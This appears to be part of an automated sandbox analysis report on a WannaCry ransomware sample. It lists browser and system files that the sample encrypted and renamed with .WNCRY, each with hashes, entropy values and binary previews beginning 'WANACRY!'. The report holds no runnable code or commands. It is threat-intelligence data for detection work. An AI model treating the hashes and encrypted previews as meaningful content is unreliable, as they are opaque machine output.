                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\33CUD2J1\Rdr[1].txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.181834593794834
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkETqm3vBNDC0st+RHr48wa0m8ILPw+MIANn6JTZNciTDH:bkETqm3vBU0bMm8ILo+MIAF6JTPn
                                                                                                                                                                              MD5:14492A90306892A8D56D5CB92341C71F
                                                                                                                                                                              SHA1:722E9B5870504B58B75D0C43900E7E3038622337
                                                                                                                                                                              SHA-256:BF92434D438740D27BD25CC921C58A81EFAF3E15579E5C1B8877C8A805B8B98F
                                                                                                                                                                              SHA-512:E141C95FF2F0AE6A79745D5C2BEFEC6BC85DF1BF4F26221CC69E048420F2DB7C28DAE6F74E0FD01DD4267D1E95802BC30850C3ED1E784DA57B8029981B27D73D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....'$..mCi........$h].....n..M..K.NS.g[-\.Z.:c.g..2.U_.. ..`D.3f..p...l.[...`T@..%..3.9...iN..o...0|l......E.Z..p0s..,.....P...C&..$..C..;D\8..\.(....a.ld..8....r..2m....4L..VS8..;].Z`.h....W.D....NK4{..(.."...R#2...1r....yv.......}..z..c.na....nS..............c.?p....,..P@.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\90SNK17T\Rdr[1].txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.198293460732944
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEXqiYnAYHrA8psdK34wuZy/5536OFNdHuVr+p1/ysBjBA9:bkEX/+LA8SZHgvtut+5ysBB6
                                                                                                                                                                              MD5:595A26CB7AA9066D613DDF9C3493A987
                                                                                                                                                                              SHA1:D6CFD8B90E9AFAD4450311992DE34ACEDFD7A552
                                                                                                                                                                              SHA-256:1D9AAC20BADFD525FCFEF169CD809D6C3A96FC016CFFA60E9F8215353AC9A965
                                                                                                                                                                              SHA-512:0927C6619C2A3D7327FE53ED95700DD676F22CE43F160812D0FC5895994B6ABDC57130E1697CDB48EB4275E5663592E1B0FC3DE7E0E1985FD028571AD1F8FFCD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Qv..!....%<.74..D.....(..2JD.b...\...\.....Fs.^...Nr2d...E..UOP<.....>-...U.7M.i..v....@K.z.\...h,..a..L.5......4..d.L.......6M{..t;.F...L.qX..[........X.W.T.(.5^l.|.2n$~=...MYx*...._.:....-..n..7......u..o...+..J....Xc.xH..I.%.......T.. .._W....:.............#...(....eJ.tO

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpndatabase.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999841674654994
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:AJF66qMLKD764Sb1tT3lNIx0kWMfhz8SNuy5Z95+CnX/XaAZ1AB:gc6qMLKD7pS1tT3lqoOgSNu+X+CvbAB
                                                                                                                                                                              MD5:0550021F0A26D6347B85E6169C4A48F0
                                                                                                                                                                              SHA1:2F4B738476ECE01C6F90E820EDCCDE9E804C733C
                                                                                                                                                                              SHA-256:6249A11AA41D6A99B67C7E7CBCBB9EC833C13D076BAA1689CB86C806A91B2499
                                                                                                                                                                              SHA-512:47E8DA1F54C671B93BAFB3938AD23132434B275A63C406FE9502A737E8C02DA150A496F616E4543A3AACD2F365F547D1833E353D2807C429A8B13AA16B6D2835
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....z....Usl*&>..4DuQ}..~:.....P..".(.{yM`."..C...>.@.<`Z...?..."k|.qlPqHK..L8...G4b.A....^$0...OX|3..8.[O~9.H;.m.Q.. tA..,...w...N.;>b...../>q...0.R}.WT.b5.<.-.-z.........7...P..Dhm.....Or_yC...4.=.^s...[%k..{%..v..h. w.T..|..Q.>..R...+..-.'............!_...ch...$....f.....k.!..3..)F.;.LKM.*..`4.... a..j..U.X.(.#.Bd.tSq...6..|.......|..../Y......G.s.O...>....$......6-z._u\.2.7l.|..i......x..d(..$;....:b/PE...^._.u..n.V7..i..<|.(........f..,.s...+..].R=.[H....N|bP.0.....H.5.S...G..IE....^..6....D..R..,.E.I......lY....Y>........t.`....c.L..^^...8.*...`...y..~...\NE5M...-....=....m.N......%.^.CJ....3......Jn.....&.....Y.Y;..i.1...........;N...3p8.N......9m...(...yn.*.....p{.J..f>.P.HK.'p:..B.C..l.s..<._......O.Dux.._.c.B...}.F.@.up@..4.p.qU........>.d.l<.y........y..t.+?..i.y.......K..1..9.....p.S..MX.....3..k..d.....F.VD.?..V..........9.&.......N...2.]......1......y$-x.BZ>,._...u..J....(.g..4N..W.?D..<...M.b...j.72...5

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\18e190413af045db88dfbd29609eb877.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24856
                                                                                                                                                                              Entropy (8bit):7.9918575014540325
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:v7QFIa0JdTXJRAXPJ0pIaWygbOiUwA1fgQVukNAEoGdBCwuj/mrfOpW+v3h:vkFAXo/J0pIaWO+A1fgU/oGdBXujQKvh
                                                                                                                                                                              MD5:8993B97046B60B9C213B37E77533BA28
                                                                                                                                                                              SHA1:A04D16E4227D81C703BD2BFC5E56764D8B909EC2
                                                                                                                                                                              SHA-256:CCE9917727E14E866903186B5422C3EC5DDB0166A4F8E52989D81310EA103B1B
                                                                                                                                                                              SHA-512:74B4447A10049759807D3B580780577A611F9EA094585AFD5B5A7E64EF639C8E9637F8EE9C427A6B88554582AD2AAA783C66B753DA13DFD6A5F4639A1FF7458D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....,.JE......Qg..s.`...p...C..a.a......q.`<+?;I.V.P.E..%..g..d.:'.H....c.6S..8...*[T..q...q.t.7.<....e..x.8...q.....m......nH....i..,..Q$.k,..Xe._...A..'..w.".&G.............I5Z..F.*.....E0a. +0Lu..cr...+...e./.<..v.z/|.....i..k#......c.{.......`.............T....Y..q.{..G...C..l#....~]!.=..P.*{........p..x)IY....,..S...5..1;!{_.!.e.*$..rIdm..PzY.s...Y.Zw..F......N."M.Ps.j..W..._.......>.......>p>..X....4.8........r..7...z..c.WZ..=.:."r1X....f.A.8.......Rzf<.0S.".Gi...~.....D..-.B...N.........@;Q..........wAO`>.+=k=...H.....u..7.h.B....J....UL.%......F.fDLb.c.............1........G.w.(L.K.<..42..==8b..V.$.&..L..~..@<7>...PVJ2..@..".y(..h.g..uY..<...sL.g.Z....p../..&....@.&.g....?b'.f..Q..XG..d..0y.4@2....e-nM<J.%"m!...C...+...Z{....m..%.&.n.T?..]Vy....6qX.a.......=8\.....L..Z.....).....I8......33K\.}@....=..,.....Y..m7.w.U;:d...(.P..y.|.GCI..a....|.>..<\...'.Y4.9C.A../!..f...Q..`..$-..g.....OU....,1.*tP.v....9_..".).f.E...x.Tr..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16664
                                                                                                                                                                              Entropy (8bit):7.989683369109615
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:yqSA8I/ObwZ357tMNxpAiQDqY9IENkqyhcfVx94i:yy8IG+jmkD9hks+i
                                                                                                                                                                              MD5:EB1EA078464C69746345619AB83F1F11
                                                                                                                                                                              SHA1:35959A0CFABFCFE548438C405796CC46AE08226A
                                                                                                                                                                              SHA-256:3718A77BCCC9E2F8ABC6C246B61BE980AE294DA2AFD4B94E5B080B4A8A6229E2
                                                                                                                                                                              SHA-512:916F955F7C8DE44D85A2652BCDA408CB31C2AC8E2414977F9B5DAC4FF6DD40C22B03F7DD191B156F9BE47830DEB8A392A34DFCBA7EC1C6240076DE61BFF7130D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....-.{.c\.3..7.-......X.G.:.<..w.}U+....7GV4bm#......qH...F.Rd0_3....k..6..2.....p..u....`.....L...P....m.%$4u.u...d......./}!."....$.n....s)............xS...2.....T.-t.$..}R.;......+......M&t.e.(...WJ*.wyn.oY.-.J. ..3.....k...w..%Q..[y....M.....1%Q.......@......lr.....B#...].!6T.|...]..5&...nrM<c..f...q.u>...$.....n.W...D......C...!..l&.0.....=....\v[.".'I....@..).K..D.H..<.....>U.bY0..Z5w..~...:...2..LIsG.....>.m.ZO:'.....Bh.5.#...\v..........6.0T..j9.!.h..;...ca0/w;..l./b9......3.J....2{...D....7....1.Fy.[....6.bm...<<...+.<.[..bhm!..^ah...x...Q..M..D|/..l......$.!..e..vw..U....k...mI..S.EX..\L>......-.lnE.7h@..4.\...3b.Lr..j.8.I.._.a}-C..*...O...3.}..X...FrS....V.G...#..I..UkP.D.pM|.].Y..=.a".|..l..B.......s....>....Ck.b...3..pE&#.s..R._0"...U.p...Z..tg....g.t..(..8.O2..../..0....8...&..:......`..rX..o...b&.4.....).1.f.|....p${..S.k...i..U..?.U;.P...o..@... ./u.s..&(....U...:.<$..HZ...."e..)..D*.....h.....p..%...3.....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):33048
                                                                                                                                                                              Entropy (8bit):7.994608962252693
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:THbn1wkEBk+u9E3U5kAvNFlT+mRlf8AZonSJRbLXrn:THruk0ueUkAFfT+mLbZhJhn
                                                                                                                                                                              MD5:3DC8BD65BC8E2B5C3E79E131F48C29ED
                                                                                                                                                                              SHA1:2DAF14F0E36A65B6A9575ECADFFD22180BEA9755
                                                                                                                                                                              SHA-256:2F57C116CEEBEC4625DD8EFE4196231CF44A3A8C28F5D0CE4B67C616AA4424EF
                                                                                                                                                                              SHA-512:0C26E48C9F963AE2DE797D609C6EC5156F7CA4AD4888D6F9315F30CF81C518377EEA9A2979B5D0B49AE1DA0AA7DD7B246B137DCF2C7373347A5F157ED2201152
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......)....h 7.IM..h..c...;..ip...3}#.Wqi..Q.Q.....t.t..?R....c..AG$..U....e..<..w.kp.`u!.C,.9C... .l59g.d...HN.`.........X...q0.2;......w........^.Ry6#5....O.eH.`T.[.H..n0....~.(vGt.......9._<...E....Q#.!....W0...J....d..6|....xZ..D.<../.M:.O+T...............Kn../.#..............u..C_..C..:.....`#[......Y.o.6......%..qlp!+.j!V?y..>..:........0..<eM..2..l=.P...)TI..wi...H^E.W)x.....C.].m.Q2+.z.)#-..=).)o.zM.;.z...|......Y=....I..1..O3..Cl..(G.Q/...C.#.I=.....z.3=G0.N>..l.............b.I.+PA..=..|{..3....U.;;...7{.M.I.f.*......V[.O.T..Q.g...'4..?..8#-.4...Z..e..|,}..D^y.x...[...........y."!u1.Q.fS .P.kQmv.h..L.....r@...M.F6.r.\#.v.#.9..=....w...r.O.............a.j...lZ..RA.....7,d&tH..F.VjS.H.!K.=..5k...0t^..}...5....e........B..Y.y.ip.~....I..@.7 .....j......VK.h,B.+.a.^..m8(DP....E_.|+..H.rBN$..3.)_....%v..E..G..8.......'.l..3.."}.CqV.g3V..A8.,..U?u;W.........x.y...}-.B....58..?...hl...>:..'S.x.aX#....v..v..!~I..........o...'.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16664
                                                                                                                                                                              Entropy (8bit):7.986757593181292
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:KD3Vg/u+qeJzL/7LiHyI5jXq72t8XvrkPyxm25I0RqiT:KDFqLpJPPiHD5rZ8v6mak
                                                                                                                                                                              MD5:ADC569FF4793EF8882E04C027D2B5761
                                                                                                                                                                              SHA1:ACA982C33FE3E354FF98267D71F23DA957042254
                                                                                                                                                                              SHA-256:99D4809030C46730ED3BDCDF1AE23E8674843156E235B2E64986FED2C72EB491
                                                                                                                                                                              SHA-512:091B7A7DFE0822CB0E7F026F710475BA24AD17381E91AB3E4FCB812B13F388B5B54616A7674FA48D7BA58D3AFF05D5CD5C412DD81566794EC7743F62A4A27268
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....tZ..Y....z.,.'o.......,U...2`...|.?/...=..*Bs ..W....{..=...|..H+.,...H...*..o:..7..%...2.U.....w....G,..u...+J......?p.lNE.n..\c0^.ovB^...j...8oG.j.J.`....e.`5..G.zf.Of...F..7.e....9.\9V..B%.H.^.../...^.%c(`....c..8.j...SA.5.j....|.g..Ax.@.....@.........oY).I1}.-....Ni?.........>.,j...Z.t|.{.P..n..b.^7...4.'`..6 C....K...-cR.}..Kz.....f.n....R.t,..T.....j.q.UR.).;....K..m!...3f...B...{..MuYZ2..:,......,A...5U;O.Nd.|..e...9.m.....1.|..(....s.&..+...)*{...L..y.s'H..3|".S..s....3....*..zwS..P...h.3.;k..T....N=.*.Q...r.$r0jc&.....;=..]...D.n..y.8..Bt...m. ..I......... R..6.\W.4..Y..%.,.z....vf)...X...5...R..%(&/..0....=A8.._=n..+.,..m.....S....:.Y. s...Pw.R." ...X^a2y.@'..j.'_.>.d...G.8>~)+.g..k...1.~KM./.P.1m...7.`.....PV.H....(8...L.u..C.il..C..T>.....a.....!.+..P.4O.......O.....P.|.......[..q..vQ.W`]....~.9Y...LWc.."..c<8.U.F.....3.....&g7.A.^X....8z..r.x...P..0F.Q...7..Fl....Y..n{.......Y=..3.0...U........N...<

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):80488
                                                                                                                                                                              Entropy (8bit):7.9977462288763865
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:lcVTJftDw6Av8MqBQgy51Hr3HmF9w3aJiO4Wf1XmhNyneq7DiBPw5G2Uljo8ByQ1:6xJXE8bZyTXmjGe1mTEDhGljlyQ1
                                                                                                                                                                              MD5:FFB0EBF8EB3DBABE11807A4D043DDB16
                                                                                                                                                                              SHA1:AF3DAF7342268A9CF40A9F5E2684F43B9C52DD6C
                                                                                                                                                                              SHA-256:124EB6889A1342BD56CDA92A447FB56E2477B52377F180ADEE4942D26ECC185C
                                                                                                                                                                              SHA-512:23BC39A91EC6E1C6F4059D0054C7BAE8DD4631DC3CAA5F30282F2C35BC910AC5033B5BB294D5A1898C830DFF0795D64334DC0ADD0D4FB128F9ED1E55F1F1E4B7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......t.....2..z.cw.KvW......&..JZ....t3......A..i..C.u..N.I...m..S*..&..S......p.....E..AI..h.R.W...d<...^.....4.\f./>n.W...&P;...3xe.c..cO....6.]Ve~.....$.d~v..-..J;.... .5.?.....&.......N.....p.....&...........=Y..F=.p.f.@.//.[....T.!e.e....q...Eg....D9............._a...K'r..F...5z.Y............x.o.YY@.fS..,...]f............>C.........r...h=A,..;..k.{4....I.7p..J.r....B.g...@v..;eV..7F..P[.1.gwN.D....[.K......./...l.Pu..|{o.....#..)A`8zE.....x.l........x..1.9..U...).:U....6.(...x.E..A..o...u..........Q...h4...@...........E..'.V..\......qU..AhL...9...nn.`...........<.S..Eo.C.X..l~........pD.C6u4...>.n.B..$i..V.{.{...<q..!.2.f...;.%C..0...v..9............,6.|...f@..E.!...e..d.\M...K..1..`...@d.......N.3..u7*..>..m..CD*n.[b.5...7...Ez..D#.m....O...#..2.ay)...sz.^.i..dV../.;]s..P......vO..X....;...b3.....$.c,8....g.<.5.....J..k(..T.$@...Y..6M}...0..L...R2K.H...bC.o:.Y/..Tf`D.G.9..d......$..tFa.....Z........`I.=6Fzt.Z.c?`4.s...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\InputExtractor.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):11848
                                                                                                                                                                              Entropy (8bit):7.98661582200203
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:VL2PWfpAnWlq2xcfabJxGq5oVqg5qqeAIayq0xP/O6Wv2T7sHxAdsdAwLzGMzUQD:VaPWh62ifYJMLZ5neAIrOFeToRcHQzGK
                                                                                                                                                                              MD5:FECB77E5998CBE7E0EE81078C187E3C3
                                                                                                                                                                              SHA1:552074B75D4996B6929A4A6BE31793DA03B04493
                                                                                                                                                                              SHA-256:2C32E934B9B12AD3BB8F2EC8A50B1ACD540C5A606F5C9FC45FF84C88263EF6A6
                                                                                                                                                                              SHA-512:FC80E9D9AEB64FAA8909463FD429D20B40823D16335460F13E29A1D5E14718DD369B9E86A82150AE6F01CFCCE4007C1694F39E367A7F24866F1144489454F664
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....av...\............['.d.&;.....t[.(...y.w.E.).f.e......|.....7...j...#..z....}B..b.....f..k.............9.E..v.}l..F..Q...3..xt.-.r.0......y...m.H2.&......JH........i.y.Z...Z....&...c..|..g~.T...z..$. ...DP......u.}..A.s...6'...-...u..:........./-.......cr4}b......W..I$P.....S9.....J.hNA..EO...H."...n.!g..;w.f..~.y.Nn.S^/@+...{..Tj....2s....cF.....$T..1..H....nL...Q_.F[..I.k....z`.@....*..0.{LmM...`..}...o"I5....r.V)....H^.-2.54I.DS>..4.w.0.v..2.58&..f...S8.vK.. e.q7.&L......Yc..P..f$..{......M.UR..........Gn..d.".[..2l.p.L-Q.k.1m.:Mg >..U........3C-...Pi...7&....Y.C.s.NP.R..|....5..F+x...s..!u^}t.Sg...._.../n.V.F .,...i..!.Q..%Vw. 0w#.3..6.f...#=..F...3.,..} t..}...,..n..V5.Kr...U.M..p......|rOZ.@,.#-.H..[...{.hvr....V.. Fn'T.......mEt&.._..#C|..]:..N.....O.#...z.0.Q..k.../'..2{!T9.-.Y..^0.,.:1....,.y.oM..IN..l..mk..R...G.i..G^..eC...$8y6t.Pf.H..s.....l.J.w....^..z.~....F.1P.>..>...eD..,u.....wjH...[z.f9b.h9...Ie...;.JT.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1681000
                                                                                                                                                                              Entropy (8bit):7.999891209729944
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:MI3F2rKfmsBsIfdUMksW/tpcx/hmYibzs:d2yPAs08hgns
                                                                                                                                                                              MD5:6B846B95874BFC5097678D7ED8EB383E
                                                                                                                                                                              SHA1:4EED65531513A035BA1C0C9C4A6EB7D1425B612E
                                                                                                                                                                              SHA-256:E690F2C81DD5F07E3C5ACB273431BDD8C13415DF5230042084C4E2C7F4DC93BA
                                                                                                                                                                              SHA-512:6F1C4577D038A4B2D810C9235D906F97AB9C8BAD556EB2248E23FE2C70E0FC3D01F8BFEAD7CCB83875276F97FC6AF400570E1938059A9137DD0EB7CE48EBFD92
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......v.............`..._..xz[.:.m....1.=.E....D*...S....B.'.iu..I{.:.4.wr...2.b..(&S[>.V.-...QE...r...qj7.*O.S.l...'.h...)G.R.(p9X.....![I`.^..9.gr.`...(#Dt..D.....8.n.$y..%z....:\-.....h%..`...]..S.5N..$p...#.......L.KM.C.p.Y.vY...:.....2t..ru.4+X.......K...............=V....+.j~$r.....i.be..vg.3.)...!.1.N.....1n6."...#....a.].....J....C`.w..2...cGS....=w.........-..8...V`~..C.E..DO0.2hp..`.}N.?.9...+$.^..m..=.....a%...b........h."me>.'...04?.c.7...*`{W."..Ct...#.q......?...+m..P....Z,S...0.6I.,"...D$.z..&~Z.[....|.@........Br....Cba....DK;........S"..)..<!.5hzW..~..e...[.#i.8.S..Ns4...%......>i.9n._x.q..*=d._)..........1.....dH.......k....o....N.Okl.S.6......(E.W.]..P.:.....L.^.c...~...=...s.....v$.yF.j`Url.DI....t.d...;...2..}:Gs....2.9gX.5...........I.....~..uGHP....6G...s...mCU.o..Hmk..t.....w...]9x..@.x_$.+w....o:.O....p....d..l"Z.up..K.C....;r....J..pd....v.0)..."..'...`7@.?.K...;..E~..3.R........3*..G...Q.6.@&?.AN$...Z..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):988600
                                                                                                                                                                              Entropy (8bit):7.999829746069574
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:7q9e4K+fD83x5ab5pPfVOqIuQYsFg6ywE48T4y4dTLiPINk8Gakd:7q9e4JDgxG5pPfVO111DEJT4yINk8GaS
                                                                                                                                                                              MD5:9F06DD51EFA737B20C447AC584D1B490
                                                                                                                                                                              SHA1:ACDF3CEB1900B71DE527C727736CC09243815394
                                                                                                                                                                              SHA-256:7ED1DA4E1A0E5B2C267C8E7FAD027BB52032051F5C92954EFEB4C8A4BFFEF0B2
                                                                                                                                                                              SHA-512:40DB984C0ACAE1C41CB46A0D03EBC14947ADD8F012B5C3090AA7FF731C4D9B1E003FA1AD99F0F3DDF8A5B71A7846F6619CA3917DCB2267351E725C7653E1497D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......P.;...T.o....`...a5.|....V...h..Sx.,SI.4....%.s..`.|.....R....r#..I!^....(....B>.dy..!..B.rN.vx.X.}1.[..lC..*..0..U._.wd.........+.m.7|.0..W.,...n....C.b.O..-.....g..M..OG...0.c..Ut.eY|XkW.rDvc7E.W...\.....Z.!.{....q.....g..E..F..?.Z..nCCv.....................}."......}.....^...2.....P0...z+.....=s}3Z..V....p6...KH.....95......}..n......5.*".....c..qK..Rr..*x.F4...T.l\.`.4v3.4*..O.Wp8..{...v...V+....}.,...,P .f.......#...@V......K.r.L..u..CL.pPD8wP..\.r....D"#...t.d,5$..d.T.B..z?.;..)N.,.S..Z..Q......w}........w$..F....d........6....0..@..%..,3.']....P...,.#.>.x...2[w..<..1.!.%...|B......I.|...E.T....Z.U.F..s.k........J.R0...x+..N..!...)..1x......?..O....<Z'>[.......-....M6..s.JT#..G.4.,B..L..\..9.p.kL..v...Q/A."A..O])...5...o] .=..zy...ixa6....?.9.$..;.G_.j.....Vp..r[...m..(.9'H..&7.......*.:..u.)3.....|.}....F....o.m.wo.^/,.....`..J...SE.-.Y.......u..M...T...P..#}m.`.Z.F....k\.....N.E.M~...v..B0.9i..9......W.T...:.2.......V.?.F...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5653560
                                                                                                                                                                              Entropy (8bit):7.999965746207947
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:98304:eBNX43zPQejiI1xGneWsg5TluLT9Bz0dsmmmkKCax67F:gNo3zPQvIPGTITzz0immn667F
                                                                                                                                                                              MD5:9BA0A6550A0923905B92C13B8F75E7C1
                                                                                                                                                                              SHA1:910DAD9305B13C2D4DF96A02AE3925A5B8AFAFA2
                                                                                                                                                                              SHA-256:5CC6EFBEED262ADEDEE2BE40E472FA920742550943C258D754F6F2649870167E
                                                                                                                                                                              SHA-512:CADA97D47CC07F1413F0403E72C9B8823DAE2C11358C61FEDAA67C164DC5FC37E34A84BF1181A5A2FCAE35DE601BA5B669EA73F136CEDA41FD368491287AD4B5
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......j.v1......!p+.]9.../B.h...s...X...C..V.28.,IZi"..-3...0.":.?....Gy.ov>..Q:\....XT.R7..JIwG.....:v..-...J} Q..t<..lK.A.t..u .g.%......:.DNqD....v..3..*'h.;%..m.=}..wP.6.]..~.qV..b|h.O%0EE.%>1....'h..2.N...@.B...f-t...c]=...2.d.(..u;.i.,..>.V.7.....CV.....<R..w4e3.Q3.ydV.G....X9...X.M.7.p..\0.Ca.......$.!....E.Zm...K...r}.......Y.U...=..a.F^7.&:.P..;C.aht..bV.pY...l.:`b......\.*He.z0....b.j..+.+.vj..9..Gv...f.o..)..c.....H.b.:./bz..+.G.lZJ...n./7.sN2......I.d.@..<U.@W].GC...\..p.!?c...=^...g..=.....&.t.c.....wC.......bP5.0.-..:.[hy..4d.D..+.74...F...z8. .}$f..w.TsV...TyJ.....W..KV....w.f.R....iW.3.r.S....#...\.d.+c.B.c../-|...$.9%..z.0l%.ee..g_.....T.?.......:..!.N..Y..h.......U.}...q..6P..;?`.... y...`.z.....?.)...g..*...y......i.9w..5.].GP.>G.P.6.e{J .....=..[a......=O....u.TN...2nj.`.+h.]....]......IT....!9..K....3.u..0..s(...Y.7....n=..m.c.'D.ws..Jv.q...O4......#JG9.:.M9..7c...[.VY....J..<.f...N.iv^.5A;;..*%1k.....~i...#

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):358056
                                                                                                                                                                              Entropy (8bit):7.999467523580842
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:JznP2Hv1yj+aQOqV60uCxY3W0gYG4FhOHB1M92lt+Ejgrped84X4g4s:JnP2P1yjzSp/xXRB12WNjv2s
